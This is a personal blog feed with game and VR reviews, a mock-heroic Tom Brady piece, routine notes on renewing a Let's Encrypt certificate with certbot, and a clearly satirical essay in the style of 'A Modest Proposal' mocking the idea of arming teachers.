2021-04-02T00:00:00+00:00 2021-04-02T00:00:00+00:00 https://simpsonian.ca/blog/later-alligator/ <p>If you're charmed by the <a rel="external" href="https://www.youtube.com/watch?v=TsPRK03ByaU">trailer</a> <br> and no minigame hater <br> Then I think you should play <br> <a rel="external" href="https://www.lateralligatorgame.com/">Later Alligator</a></p> <p><em>(ominous mandolin strumming)</em></p> <span id="continue-reading"></span><br> Ah, Alligator New York City&mdash;the sights, the smells, the slime, so much slime, and home of Pat the Alligator. Pat's a loveable, if jumpy, birthday boy in need of help. You see, Pat's convinced that "the event" his family has planned for him tonight is a trap that will end with him being "rubbed out." Terrified, and with no one left to turn to, his special day seems doomed to be an exercise in trepidation&mdash;that is, until he encounters a certain pinstripe-suit-wearing fellow in the lobby. Yes, only you, THE PLAYER, have the power to investigate Pat's family and uncover what's afoot. Hmm... though Pat's tears are pitiable (unlike crocodiles, alligators are completely genuine in that regard), immediately taking up the cause of a total stranger is rather dramatic... unless there are other motives at play? <p><img src="https://simpsonian.ca/blog/later-alligator/shoe_kinds.jpg" alt="Pat, on the universal categorization of footwear" /></p> <p>The basic gameplay of <em>Later Alligator</em> is essentially a stripped-down Professor Layton, with less focus on pure puzzling and a double serving of cutesy wholesome humour. You wander around the city, meeting Pat's friends &amp; family, and extracting very basic information about "the event" from them by helping with a task (aka minigame). But make it quick, because time is ticking—the event starts at 8pm sharp, and you wouldn't want to be late...</p> <p>The animation and music are spectacular. Having never lived in NYC, I can't vouch for "authenticity," but ANYC certainly feels like a city <em>alive</em>, always bustling and full of quirky characters. Those characters are chock-full of distinct personality, though everyone shares a propensity to inject a quip into every possible comment. I do think that at times the humour would be better served with a breath between beats, but the unending tsunami of silliness is undeniably part of the charm. The overall plot is also perfectly serviceable; mostly as window-dressing for the individual encounters, but with a few interesting twists thrown in.</p> <p>Okay, but what of the minigames themselves? Unfortunately, these challenges are like wild meat: the gamey-er they are, the less appetizing.</p> <p>The heart and soul of <em>Later Alligator</em> is the twee art and animation. Thus, the best minigames are unobtrusive, letting the visuals take centre stage. The absolute highlight of these is a "spot the differences" game—obviously there isn't any "depth" to the gameplay here, but there doesn't <em>need</em> to be, because drooling over an alligator-rethemed <em><a rel="external" href="https://www.artic.edu/artworks/27992/a-sunday-on-la-grande-jatte-1884">A Sunday for the Grande Jawed</a></em> (because alligators have large jaws? ...don't blame SmallBu; this one's all me) is already hilarious and fun. Other standout examples include an entirely unexpected dating sim, a rather realistic round of hide-and-go-seek, and an exorcism via cell phone repair.</p> <p><img src="https://simpsonian.ca/blog/later-alligator/a_sunday_for_the_grande_jawed.jpg" alt="A Sunday for the Grande Jawed" /></p> <p>Conversely, the worst offenders squander those lovely illustrations on uninspired gameplay. Seriously, these are some <em>lovely</em> drawings! I want to absorb every single detail with my eye holes! But when I'm playing a Flappy Bird clone, it's a) not that interesting in the first place, and b) makes it hard to appreciate those little details. My least favourite example has you swatting flies so that a would-be guru can ascend to the astral plane uninterrupted. I found this one to be downright frustrating to begin with, and unlike other minigames, failure here is game over—no second chances. All things considered, this is a minor irk, but given how good the best minigames are, the ones at the other end of the spectrum feel like missed opportunities.</p> <p>As an aside, I was surprised to recognize many of creators involved in <em>Later Alligator</em>. SmallBu Animation are the main creative drivers here, the two-person, husband-and-wife team that brought you <a rel="external" href="https://www.youtube.com/watch?v=F7-TQdN40Dk&amp;list=PLD0750A49525188E9&amp;index=1">Baman Piderman</a>—but also YouTube darling <a rel="external" href="https://www.youtube.com/user/Worthikids">Worthikids</a> did some clean-up work on the animation? I hadn't previously heard of <a rel="external" href="http://2mello.net/home">2 Mello</a>, who did a great job with the soundtrack, but <a rel="external" href="http://neilcic.com/">Neil Cicierega</a> (<a rel="external" href="https://www.albinoblacksheep.com/flash/showdown">The Ultimate Showdown of Ultimate Destiny</a>, <a rel="external" href="https://www.albinoblacksheep.com/video/potterpuppetpals/">Potter Puppet Pals</a>) contributed in some capacity as well? Reading up on all the folks involved here sent me right back to my <a rel="external" href="https://www.albinoblacksheep.com/">Albino Blacksheep</a> days. I look forward to seeing what they have in store next.</p> <p>One other small detail that I love—the <a rel="external" href="http://alligator.fun/">GeoCities throwback</a> is far from original at this point, but the fact that you can find the website both in-game and on the regular ol' internet adds some pleasing verisimilitude. (Also, dancing alligator baby is not to be missed.)</p> <p>So, should you visit Alligator New York City for yourself? I think the easiest litmus test is just to watch the trailer: if the smooth animations, jazzy tunes, and rapid-fire one-liners elicit an "Oh, jeez!" from your cute snoot, you'll have a lovely trip. If, however, you demand more gameplay in your games or have an aversion to chuckling, there's no need to make the trek from Alligator New Jersey. My only real complaint here is a lament of what could have been: the visuals and music are top-notch, but the actual minigames are often lacking in creativity and end up feeling stapled on. If SmallBu and 2 Mello had a partner that brought equal insight to the game design aspect, and included that as a first class consideration—now <em>that</em> would be something special.</p> <br> So ends my review <br> which I hope you enjoyed <br> for if you did not <br> I'll be unemployed <p><em>(mandolin outro)</em></p> 2021-03-20T00:00:00+00:00 2021-03-20T00:00:00+00:00 https://simpsonian.ca/blog/tom-brady-super-bowl/ <p>O, how lucky are we! The ancient Greeks had to invent their Heracles—we have been gifted ours, and his name is Tom Brady.</p> <p>To hate a champion is the mark of a failure. Those driven to jealousy by his primacy eagerly await his downfall. But for a God, ascendance is inevitable—draw closer, and hear the Oracle's vision.</p> <p>Witness, child, the Tom Brady of next year: flashing an easy, boyish smile as he jogs to the field—pearlescent teeth framed by lips plump with filial love—unfettered by the shackles of age; the confidence of one who has devoted a lifetime to winning.</p> <p>A decade from now: Tom Brady, the first bionically augmented man, returns to the spotlight, once again rising above the objections of his detractors. They claim that he is "cheating;" that his updated body is an "unfair advantage." Those are the pitiful cries of cowards who know full well they will fall to him in direct contest. To think the flesh of the man is the source of his strength? An absurdity. Tom Brady's power stems not from his body, nor from his mind—it comes from the radiance of his soul itself, for which his corporeal form is merely an indifferent chauffeur.</p> <p>I know not how next century's Tom Brady shall present himself. But a millennium from now, child, look to the heavens, for there you will see cosmic intelligence Tom Brady: moving the stars and the planets themselves, invisible choreographer of this celestial ballet; adjusting their paths <em>just so</em>, gently guiding the pigskin caught in their orbits to yet another galactic touchdown.</p> <p>Our reality is the chance confluence of universal rhythms: every month, there is a new moon; every quarter, a new season; and every year, there is a new Super Bowl. And every year, Tom Brady wins it.</p> <p>Tom Brady Super Bowl. SUPER BOWL TOM BRADY!</p> 2021-01-02T00:00:00+00:00 2021-01-02T00:00:00+00:00 https://simpsonian.ca/blog/certbot-manual-renewal/ <p>One minor task I had to attend to over the holidays was renewing my Let's Encrypt certificate for the first time. Of course, having originally set it up a couple of months ago, I didn't remember what to do. I'm writing up some notes for myself to make this quicker the next time I need to do it, in ~60 days.</p> <p>Note: you shouldn't have to do this manually (like I am)! <code>certbot</code>, a program to facilitate Let's Encrypt certificate management, has many options for automation (and discourages you from doing things manually). Some silly quirks in my current setup prevent me from leveraging this, but if you're setting up something yourself, I recommend you start there.</p> <h2 id="background">Background</h2> <p>At time of writing, I have two separate entities under the simpsonian.ca domain:</p> <ol> <li> <p>This blog, which is actually hosted by <a rel="external" href="https://docs.gitlab.com/ee/user/project/pages/">GitLab pages</a> (convenient and doesn't cost a dime for my usage). They also automatically provide and manage Let's Encrypt certificates for you, so there's nothing else to be done here—great!</p> </li> <li> <p>A <code>local</code> subdomain, which points to a self-hosted <a rel="external" href="https://www.pine64.org/rockpro64/">RockPro64</a> (a powerful single-board computer from the fine folks at PINE64). Currently the only thing I run here is <a rel="external" href="https://miniflux.app/">Miniflux</a>, an excellent RSS reader, which I serve behind Apache. For uninteresting reasons (stemming primarily from my own networking ineptitude), this isn't accessible from the public internet (hence preventing the automatic renewal options for <code>certbot</code>, I think). Configuring HTTPS for a local RSS reader probably isn't <em>strictly</em> necessary, but who doesn't like looking at that nice green lock? Onward!</p> </li> </ol> <h2 id="steps">Steps</h2> <h3 id="renew-certificate">Renew certificate</h3> <p>First, we need to run <code>certbot</code> to kick off the renewal process. It will then walk us through the required steps. To start, run:</p> <pre><code>sudo certbot certificates # to view existing certificates # of course, remove --dry-run when ready sudo certbot certonly --cert-name simpsonian.ca --manual --preferred-challenges dns --dry-run </code></pre> <p>I am using the DNS challenge because it doesn't require the host to be accessible from the public internet, and it supports wildcard subdomains.</p> <p>Note that <code>certbot</code> also takes care of some housekeeping for you; the symbolic links under <code>/etc/letsencrypt/live</code> will point to the updated files, and previous versions will be kept around under <code>/etc/letsencrypt/archive</code>.</p> <h3 id="respond-to-the-acme-challenge">Respond to the ACME challenge</h3> <p>Since we requested the DNS challenge above, we'll be asked to add certain DNS TXT records to prove we control the domain. You should be able to control your DNS settings through your registrar's website. (I'm using Namecheap, which annoyingly doesn't offer automatic Let's Encrypt certificates, unlike some other providers.) For a challenge like the following, add an entry with type <code>TXT</code>, host <code>_acme-challenge</code>, and value <code>ZyGx2BVpyK-Klkjmaikq7BJvuzgTp-c71-pMvRW6wDA</code>.</p> <pre><code>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please deploy a DNS TXT record under the name _acme-challenge.simpsonian.ca with the following value: ZyGx2BVpyK-Klkjmaikq7BJvuzgTp-c71-pMvRW6wDA Before continuing, verify the record is deployed. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - </code></pre> <p>To confirm the new entries are present, you can use a tool like <code>dig</code>. Since DNS propagation takes some time, you might need to wait a bit. I also recommend running the command below a few times to make sure all DNS servers have the updated information.</p> <pre><code>dig -t TXT _acme-challenge.simpsonian.ca </code></pre> <h3 id="restart-apache">Restart Apache</h3> <p>There's a probably less disruptive way to do this, but I needed a quick restart for the new certificate to start being served:</p> <pre><code>sudo systemctl restart apache2 </code></pre> <h3 id="remove-unnecessary-dns-entries">Remove unnecessary DNS entries</h3> <p>Finally, we no longer need the TXT entries we set up in step 2, so feel free to remove those.</p> <p>And there you have it—you should now have some minty fresh TLS certificates.</p> 2020-08-30T00:00:00+00:00 2020-08-30T00:00:00+00:00 https://simpsonian.ca/blog/guns-in-the-classroom/ <p>We are currently facing an education crisis in America. Our schools are underfunded, the unequal distribution of resources reinforces disparities of race and class, and all the while our test scores continue to lag behind our international peers'. Now more than ever we need to prioritize education for everyone, and make our classrooms safe places for learning. There is one natural solution: put a firearm into the hands of each and every teacher across the nation.</p> <p>First, the obvious reason: guns in schools ensure the physical security of our students. These days, our children face a bevy of threats unimaginable since the cold war: deranged school shooters, militant ISIS sleeper cells, and radical Antifa agitators, just to name a few. Arming our teachers would provide our children a vital first line of defence. Taking a page from Silicon Valley, we could "gamify" training programs for teachers by tracking high scores and top performers in the target range. Ideally, this program would be extended to the students themselves as well. This would foster a sense of self-confidence and independence in our children (research-proven predictors of later success), while also acquainting them with the military-industrial complex that makes our great country what it is today.</p> <p>Second, guns in schools offer protection from COVID-19. Just as we sacrificed our grandmas for the sake of the economy—a noble and virtuous choice—so too must we be willing to sacrifice young Jayden. If a student displays telltale symptoms of COVID, their teacher could simply neutralize the snot-nosed threat before they begin to spread the disease throughout the school. I am fully aware that some readers may be appalled by this suggestion, but it is a gruesome necessity in these trying times. Consider the alternative: with these disease-infested gremlins slobbering on each other all through playtime, COVID is sure to ravage our communities. What then? Parents staying home to tend to their sickly families? Who, then, will staff our meat-packing plants and Amazon warehouses? America has certainly changed since its founding, but I think the Fathers of our Constitution would agree with this modern phrasing of our country's core promise: each and every American, no matter race, colour, or creed, is entitled to cheap Chinese wares with free two-day delivery. We are fundamentally a capitalist society, and we have fought for these ideals. To ask Jeff Bezos to bear the costs of this pandemic would be a betrayal of those very same ideals.</p> <p>Alas, there is an elephant in the room: COVID also means that virtually all instruction will be remote this fall. Fortunately, just as the elephant gun solves the problem of the elephant, so too is there a firearm-based answer to this conundrum. Consider the following: typical professional-grade drones can easily support a payload of 3-5 lbs., while your standard Glock 19 is a mere 1.7 pounds fully loaded. Thus, we could simply assemble clusters of handgun-toting drones to be operated by teachers. Not only does this solve the problems mentioned above, but it also allows for a safe means of communication by which teachers could deliver their students personalized encouragement and/or hailstorms of lead, as appropriate. (Say goodbye to late homework.) Think this is a massive cost for what will be a temporary online session? Worry not. As school boards return to class, the gun-drones would simply be transferred to local police departments. To continue effectively policing communities on reduced budgets, former beat cops could become drone controllers, safely monitoring residents by operating dozens of gun-drones simultaneously. Looking ahead, advancements in artificial intelligence could allow for autonomous operation of the drones, reducing costs even further. As a God-fearing, law-abiding American, I don't have anything to hide, and I am confident the Amazon DroneNet™ will agree.</p> <p>Together, we can build a safer future for our children: one with an apple on every teacher's desk, and a pistol in the drawer. God bless America.</p> 2020-08-30T00:00:00+00:00 2020-08-30T00:00:00+00:00 https://simpsonian.ca/blog/ymv-the-under/ <p><a rel="external" href="https://tenderclaws.com/theunderpresents"><em>The Under Presents</em></a> isn't just a game: it's a magical—sometimes inscrutable—world, and a hub for Tender Claws' delightful VR storytelling. It's a living, breathing environment with mysteries to piece together, adventures to conquer, and spells to master. At a time when social media bubbles are causing polarization, the absolute anonymity of The Under leads to delightful, if fleeting, moments of genuine human connection.</p> <span id="continue-reading"></span> <p>Okay, clearly I've had a good time in The Under, but what <em>is</em> it exactly? Well... it's a little complicated. The Under proper is a nightclub at the nexus of time, and acts as a persistent multiplayer hub where you can hang out with fellow time spirits, slinging spells. Importantly, you are all anonymous in this world; there are no usernames, friend lists, or even voice chat. From The Under, you can also access two other experiences: <em>Tempest</em>, a live, interactive play, and <em>Timeboat</em>, a single player time-traveling tale (we'll revisit these soon). All three of these provide background details that fill in the lore of the universe. I expect (and hope!) that other experiences will be added over time—The Under is your way in.</p> <p>If you're a fan of interactive storytelling, and aren't afraid of having to navigate some things by yourself, I whole-heartedly recommend diving into the deliciously different world of The Under. The introduction section below gives some spoiler-free details on the different experiences available. I recommend starting with a ticket to <em>Tempest</em> (the live play, which runs to the end of September 2020) and hanging out in The Under itself a bit. If that excites you, check out <em>Timeboat</em> (the single player story) as well, and perhaps spend a little more time in The Under: there is more here than meets the eye. Mysteries and magic abound, and you'd be remiss to check out early.</p> <p>For those of you that want a little more detail, consider this your guided tour. I'll avoid any overt spoilers, but I will talk in some detail about the different modes and what they contain, which wasn't obvious to me at first. We'll cover:</p> <ol> <li>How to get started;</li> <li><strong>Tempest:</strong> an interactive, multiplayer, live VR adaptation of the Bard's tumultuous tale;</li> <li><strong>Timeboat:</strong> a single-player story of a sea voyage gone wrong (noticing a theme?), where you are a voyeuristic time traveller, and;</li> <li><strong>The Under</strong> itself: the live multiplayer "club" that, unexpectedly, is the real star of the bunch.</li> </ol> <h2 id="getting-your-fingers-wet">Getting your fingers wet</h2> <p>On your first visit to The Under, it isn't exactly clear what the different experiences are, or how they fit together. Here's a 10,000 foot view to get you oriented.</p> <ul> <li> <p>Whenever you start the game, you'll begin in black-and-white purgatory. Snap your fingers and pull the glowing rings towards you until you have visible hands. Then, stride to the rock spires ahead of you, and put on your mask.</p> </li> <li> <p>With your mask on, you'll be teleported to a hub area. From there you have two options:</p> <ol> <li> <p>Head towards the theatre to purchase tickets for <em>Tempest</em> (from our beloved attendant, Russell).</p> </li> <li> <p>Head to The Under, the multiplayer nightclub, by entering the door through the building to the right. On your first visit you'll go through a single-player section guided by the enigmatic MC, the club's—ahem—emcee. Within The Under, you can access the single player <em>Timeboat</em> experience (USD 11.99) from any of the photobooths. (You can also buy <em>Tempest</em> tickets in here; Russell is very accomodating.)</p> </li> </ol> </li> </ul> <p>If you're still confused by all this, you're probably not alone: Tender Claws themselves have a <a rel="external" href="https://tenderclaws.com/tupwalkthrough">walkthrough</a> on how to get through this quasi-tutorial.</p> <h2 id="tempest">Tempest</h2> <p>This is the experience that first pulled me into the world of The Under. You and up to eight other participants will act as "spirits" assisting a live actor in putting on an adaptation of Shakespeare's <em>The Tempest</em> (uh, spoiler warning for <em>The Tempest</em>, I guess). Practically, this means that you participate in brief vignettes of some of the play's most memorable moments; having some familiarity with the plot really adds to the enjoyment. At different times participating could mean: acting out parts yourself (with direction from your supervising actor), interacting with the environment, or just taking in some of the more fantastic effects.</p> <p>Crucially, you are <em>completely anonymous:</em> there's no username floating above your head, and no voice chat to communicate with other players. Ordinarily, this would be very limiting, but we get to appeal to some of my favourite VR magic: body language! It really is incredible how much you can convey with finger snapping, wild gesticulating, and the odd head tilt. That anonymity is vital in one other way—it gives participants the cover to participate enthusiastically. Nobody is going to mock your acting after the fact, nor can your avatar really be tied to you in any way, so why not give it your all?</p> <p>The overall execution is somewhat uneven, but for good reason. You aren't viewing a theatrical performance so much as are you involved in the production... with a total group of strangers. The end result is only as good as your crew is enthusiastic. My performance spanned the gamut. At times, our actor felt more like a kindergarten teacher, corralling uncooperative students along; other times, everyone seemed quite invested in our story.</p> <p>An interesting quirk is that you have full use of your magic available to you during the performance. (Oh yes, there's magic—we'll get to that.) One notable aggravation here is that casting spells creates sound effects which are heard by everyone. The actor's audio balance is somewhat spotty to begin with (very quiet even at modest distances); coupled with various snapping/conjuring, it can be hard to make out much of anything at times. The spells aren't always annoying though: a highlight of my experience was when I, as <a rel="external" href="https://en.wikipedia.org/wiki/Ceres_(mythology)">Ceres</a>, went to bless Miranda and Ferdinand's union. Before I strode down the aisle, someone hastily conjured a fruit tart, and embiggened it to comical proportions—a fitting tribute to the goddess of agriculture.</p> <p>Overall, <em>Tempest</em> is a touching experience. Yes, the idea is novel, the delivery is pretty good, and some of the visual effects are captivating, but the masterpiece is the paradox at the play's beating heart: in a time when we are physically isolated and ideologically divided, <em>Tempest</em> strips us of our identity and reduces us to a mask. In so doing, it creates the most intimate human contact I've had outside of my "bubble" in months. As we all know too well, internet anonymity often leads to trolling and abuse; here it is the gentle nudge pushing you out of your comfort zone to kiss a stranger in VR. If you have any interest in interactive storytelling, this is a must-try experience. Tickets (USD 14.99) are available until the end of September, and also grant full access to The Under.</p> <p><em>(Foolishly, I forgot to take any screenshots of my experience, but you can see some on Tender Claws' <a rel="external" href="https://tenderclaws.com/tempest">website</a>.)</em></p> <h2 id="timeboat">Timeboat</h2> <p><strong>Note:</strong> This section will avoid any overt plot spoilers, but it will discuss some game mechanics that might not be obvious on your first go around. Personally, I do not recommend you go in completely blind (for the reasons below), but if you'd like to, here's your chance.</p> <p><em>Timeboat</em> is a single player, narrative-driven experience where you watch as a sea-faring expedition... doesn't quite go as planned. The interactions and conversations on this ill-fated voyage happen on a fixed schedule, whether or not you are there for them. Fortunately, you can bend time to your will, and thus skip forwards/backwards as you like to make sure you don't miss a thing. You can also switch to a cross-sectional, third-person view of the ship at any time, easily allowing you to follow the crew members' movements. With those abilities combined, you'll quickly be able to scamper around the ship and observe the tragedy unfold.</p> <p>There's something quite unique about this structure that I feel lets you dive in deeper than you might be able to in a more conventional format. In traditional print/video media, the plot is generally "linearized:" even in a twisty-turvy time travelling romp, the audience can only be in one place at a time, and so you have to cut from one scene to the next. In <em>Timeboat</em>, the story just happens, and it's up to the player to stitch the plot's individual threads together. The best metaphor I have is xkcd's "<a rel="external" href="https://xkcd.com/657/">narrative charts</a>:" those particular examples were created by revisiting the story after the fact, and inferring which events overlap. In <em>Timeboat</em>, you're weaving those lines in real-time as you observe and rewind again and again. Once you've got a grasp of what's going on, the payoff is phenomenal: you really <em>do</em> feel like a Time God, sneering with dramatic irony as you watch your unwitting marionettes retrod their predestined steps.</p> <p><img src="https://simpsonian.ca/blog/ymv-the-under/timeboat_bridge.jpg" alt="On the bridge with the captain in Timeboat" /></p> <p>That reward loop is at its best in the first act. The scope seems overwhelming at first (the ship is so big! there are so many people to track!), but once you're in the rhythm of things, navigation becomes second-hand, and you'll soon learn every nook and cranny. Seemingly unrelated comments snap together in wonderful "a-ha!" moments, and a delectably weird twist near the end sets up the rising action.</p> <p>Once we get into act two, however, there are some pacing issues. You see, this journey is treacherous, and not everyone will survive. At the intro screen before each act, you're presented with mini portraits of the crew; a dashed border around a character means that they are about to perish—unless you intervene to save them, generally by solving a dream-like puzzle sequence. These puzzles are dripping with possibility: at their best, they completely capture the associated character's essence, giving you deeper insights into the their background, psyche, and how they tie in to the broader plot. The effect here is amplified by the custom-tailored environments for each section. They don't quite rise to the fantastical dreamscapes of <em>Psychonauts</em>, but the feeling is the same, and getting to wander through them in VR adds a level of immersion.</p> <p>Unfortunately, the puzzles themselves are... well, a total slog. In what I assume is a commitment to the narrative experience, they offer no tutorial and no feedback. It's here where <em>Timeboat</em> commits a cardinal sin: fail to crack the case in time and it's game over. You'll come to in a gift shop in the middle of the The Under (the multiplayer section). The photobooth to re-enter <em>Timeboat</em> isn't far away, but loading up the correct act again and navigating to exactly where you were before is tedious, and ends up discouraging exploration. It's all the more baffling from a game where the central conceit is that you can bend time to your will: if that's the case, why pester me with game overs?</p> <p>There was one occasion where I actually was on the right path, doing the right things, but missed an important—albeit not totally obvious—detail (leading to a game over) and assumed that that section was purely atmospheric. When I figured out my mistake and retraced my steps, I thought an encounter in another low-visibility area was intended to feature some light combat, and wasted time trying to slay the creature I was confronting. As it turns out, I was intended to just wander a little longer to solve this particular puzzle (no shovel-bonking required). At first, this section was tense and nerve-wracking, but by the time I figured out how to progress, the relief of tension wasn't "thank God I made it," it was "finally, let's get back to the story."</p> <p>My advice is to play through the game at your own pace, without worrying about finding and solving the puzzles as you go. After you've experienced the gist of the story, you can go back and try for a better outcome; but if you find something frustrating, I wouldn't hesitate to look up the solution. (The best reference I've found is <a rel="external" href="https://www.youtube.com/watch?v=k1wrcdv0mRo">this comprehensive video guide</a>.) There was more than one occasion where I had in fact stumbled on the solution, but wasn't doing it quite right—the game won't tell you this is the case, so you can end up banging your head against the wall for a long time.</p> <p>Overall, I have mixed feelings about <em>Timeboat</em>. The highs are high, and the additional exposition it gives about the background of The Under is fascinating, but the arbitrary and capricious puzzles left me seasick at times. I would start with <em>Tempest</em>, or just exploring The Under: if you're captivated by this world, and the possibilities of VR storytelling, this trip is definitely worth the price of admission—just be wary that it isn't always smooth sailing.</p> <h2 id="the-under">The Under</h2> <p>Ah, The Under itself. You'd be forgiven if, like me, you assumed that this multiplayer mode would be a tacked-on side excursion. In reality, it is anything but: The Under is best thought of as the real hub, the central world from which all the other experiences stem (hence the moniker <em>The Under Presents</em>, presumably).</p> <p>The club's main stage (near where you spawn) is a natural hangout spot and features a rotating cast of scripted acts from various NPCs. There are a few duds among them, but those are far outweighed by the genuinely funny routines and surprising number of earworms that I find myself humming long after I've logged off.</p> <p><img src="https://simpsonian.ca/blog/ymv-the-under/the_under.jpg" alt="Just outside The Under" /></p> <p>Those scripted acts are fine, but they're not all. Until the end of September 2020, The Under also features spontaneous appearances by live actors. In my experience, they've been as varied as they are entertaining. Some examples:</p> <ul> <li>A thirsty skeleton who, after receiving a beer conjured by a fellow spirit, taught us how to make brooms;</li> <li>Pop star Helvetica Perpetua throwing a birthday party for one of my fellow time spirits;</li> <li>A disembodied voice spawning props representing chores for us (vegetables to eat, messes to tidy, books to study), followed by a torrent of toys afterward as a reward;</li> <li>A chill, mute old man who would vibe on the dance floor during acts, and double as an impromptu barkeep between them;</li> <li>And the most involved of the bunch: a giant "crob" (they're not "crabs" in The Under), who took us on an installment of her magical book tour: the improvised story she told was guided by the various items conjured by the players!</li> </ul> <p>These encounters are delightful and unique, but they were designed to be a special addition to The Under, not the main attraction. There's plenty of fun to be had just hanging out with passers-by, like impromptu sparring with golden swords on the catwalk above the stage. There's also some adventures lurking in this seemingly barren desert... if you see someone with an interesting mask, try asking how they got it.</p> <p>Incidentally, I should mention that the games' principal community seems to be "The Golden Salt Shaker" <a rel="external" href="https://discord.gg/ZdbqWC8">Discord</a> (no points for guessing how to identify a member in-game). Seems like a lovely bunch of people, but just like <em>Tempest</em>, I think The Under is at its best when fully anonymous: overcoming the lack of traditional communication options makes those moments of cooperation and insight all the sweeter.</p> <h3 id="magic-an-introduction">Magic: an introduction</h3> <p>So: it's about time we had a word about magic. I've somewhat glossed over it so far, but fluency in these dark arts is a big part of The Under, so it's worth studying up. For me, the fun here is in the experimentation; there's a very logical structure underpinning the spells, but it isn't obvious how to get started. If you want a quick primer, here are the absolute basics:</p> <ul> <li> <p>By taking off your mask and snapping your fingers (so that blue flames appear), your mask becomes a cauldron of sorts; nearly all spells begin this way.</p> </li> <li> <p>From what I can tell, all magic boils down to sequences of these three steps: adding an ingredient to the flames, snapping your fingers, or tracing a rotation around the edge of your mask (direction matters!).</p> </li> <li> <p>Here's the simplest possible spell: remove your mask, conjure the flames, and snap three times to produce... an onion!</p> </li> </ul> <p>This is another example of VR elevating a somewhat mundane mechanism to something brilliant. If ever you fantasized about attending Hogwarts, <em>oh boy</em>, this is going to excite you. I've never been able to keep up in fighting games: long strings of button-presses elude my fingertips and interest. But by making the gestures <em>physical</em>, this feels less like video game trivia and more like building a life skill. That feeling is further amplified by the social nature of The Under: it's very rewarding to share your hard-earned expertise with a fledgling time spirit. With many twists to discover, the magic system truly captures the conspiracies, frustrations, and exultations of being a wizard. I imagine.</p> <h2 id="final-thoughts">Final thoughts</h2> <p>I was expecting to enjoy <em>Tempest</em> as a novelty, particularly in these isolating times, and I did. What I wasn't expecting was how <em>alive</em> the whole world of The Under feels. It truly creates an environment larger than the player, and demands observation, experimentation, and maybe a helping hand if you are to peel back the many layers of this enigmatic onion. I have a feeling that I will be dropping by The Under long after the live performers have gone—if only to share the arcane arts with the next generation.</p> <p>(P.S. I haven't checked out <a rel="external" href="https://tenderclaws.com/vvr">Virtual Virtual Reality</a>, the other Tender Claws game in the Oculus store, but it is certainly now on my list.)</p>